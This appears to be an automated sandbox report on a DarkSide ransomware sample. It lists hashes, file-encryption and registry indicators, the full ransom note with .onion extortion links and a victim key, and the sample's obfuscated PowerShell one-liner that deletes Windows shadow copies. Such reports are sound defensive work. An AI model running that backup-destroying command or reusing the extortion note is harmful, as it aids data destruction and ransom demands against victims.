darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
99s
max time network
110s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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General

Target

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Size

59KB
MD5

47a4420ad26f60bb6bba5645326fa963
SHA1

7a29a8f5e14da1ce40365849eb59487dbb389d08
SHA256

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134
SHA512

08c82585fbab8e090e67e4571f7428bffaf68f9a8c2e34b72f9688205ee880a6435aa813b8845a0b0281c80b78774b969032cc27fc98d3f0e67116dabcf77127

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, private data was downloaded. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 300GB data. Your personal leak page (TOR LINK): http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published in our blog if you do not pay. After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. HOW TO CONTACT US? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16 When you open our website, put the following data in the input form: Key: FSGLQojvXe6Tvm2w0wxP3QfWkJb1USBnFsbmL4CiIX0sBiV727ofcmrdJmUTgBStIrH7sgcBDo4SPki6BniKhpd7d4zjLSAxmtlwLAHLgtBnwYPuW05gxF4VPuXsylwu2p3k6ZWDTjCIZVVG04RCYEfS3AP25AWqGkFDh4KVy7MZsCVH7RwxEdhWyApxi7Ioai3v52ofbfNgys0V0sG2xWqJgtluhQ4J23O7jCZxqMM10civs8NlDmeJAiIkI43RrPDd3P2kA03ky3oUBNeUPOOnAztZQezpfAgiM8evd3HE9aua1yUEX4hndxmFU02CEYIiyah3g5ywISASKAeiXKCJoThOot42MHwMCl0G7wP6KdHVyPx8uhBdT2kbzvjGZvmOibfxKUlxJlhai4DhjDp9mUuJajTrBYoeogvOzrgc8iv0PcrAABLRGU2I9uSFIlFqZeuIp7qMW7DIZKrunidyvfL1oTtuosI8bQ0BVvooDC1BB5n5Biw9x2yBNit4lOjMhY00P3wTLvMhS3ZQ6eGKDmx7GrQ7ydGo6I2A0eQx9dpuxhWpkpc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa

http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 18 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\MountSplit.tif.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\RedoRemove.tiff => C:\Users\Admin\Pictures\RedoRemove.tiff.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\RepairResize.tif.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveCheckpoint.png.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\GrantSplit.tiff => C:\Users\Admin\Pictures\GrantSplit.tiff.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\GrantSplit.tiff.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\MountSplit.tif => C:\Users\Admin\Pictures\MountSplit.tif.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\RedoRemove.tiff	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\RedoRemove.tiff.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\ResizeUndo.crw => C:\Users\Admin\Pictures\ResizeUndo.crw.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\ResolveCheckpoint.png => C:\Users\Admin\Pictures\ResolveCheckpoint.png.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\AssertSave.tif.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\GrantSplit.tiff	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\OutRead.crw.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\RepairResize.tif => C:\Users\Admin\Pictures\RepairResize.tif.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeUndo.crw.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\AssertSave.tif => C:\Users\Admin\Pictures\AssertSave.tif.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
File renamed	C:\Users\Admin\Pictures\OutRead.crw => C:\Users\Admin\Pictures\OutRead.crw.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Modifies registry class 5 IoCs

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

pid	process
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSecurityPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeTakeOwnershipPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeLoadDriverPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemProfilePrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemtimePrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeProfSingleProcessPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeIncBasePriorityPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeCreatePagefilePrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeBackupPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeRestorePrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeShutdownPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeDebugPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemEnvironmentPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeRemoteShutdownPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeUndockPrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeManageVolumePrivilege	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 33	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 34	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 35	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 36	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeBackupPrivilege	3864	vssvc.exe
Token: SeRestorePrivilege	3864	vssvc.exe
Token: SeAuditPrivilege	3864	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

description	pid	process	target process
PID 1968 wrote to memory of 1520	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	powershell.exe
PID 1968 wrote to memory of 1520	1968	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
"C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1520

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
010c219c46b4439bc787644989e20389

SHA1
f3a63066ab4446458bd6417386777e39e09b9b25

SHA256
2a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa

SHA512
c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
04e2bde1624f76894fcd09d0203ea37e

SHA1
caf9fc6e55a6bbb8b28ade040e33beb23d7876e9

SHA256
6e24d5127a82854bef58ecaa9c4fca64505e53631089fb62b44873e08ee137a5

SHA512
cf57b214b9c21e641a541532e912f6c8da0a50d2061f5a36b264b88d51a68d750d0167827cd53e1ef16a43d688ca413c25931fe6744195451c4564ff13173995

Download Submit
memory/1520-114-0x0000000000000000-mapping.dmp

Download
memory/1520-120-0x000001D81BE60000-0x000001D81BE61000-memory.dmp

Filesize
4KB

Download
memory/1520-124-0x000001D81E0F0000-0x000001D81E0F1000-memory.dmp

Filesize
4KB

Download
memory/1520-127-0x000001D81BE90000-0x000001D81BE92000-memory.dmp

Filesize
8KB

Download
memory/1520-128-0x000001D81BE93000-0x000001D81BE95000-memory.dmp

Filesize
8KB

Download
memory/1520-129-0x000001D81BE96000-0x000001D81BE98000-memory.dmp

Filesize
8KB

Download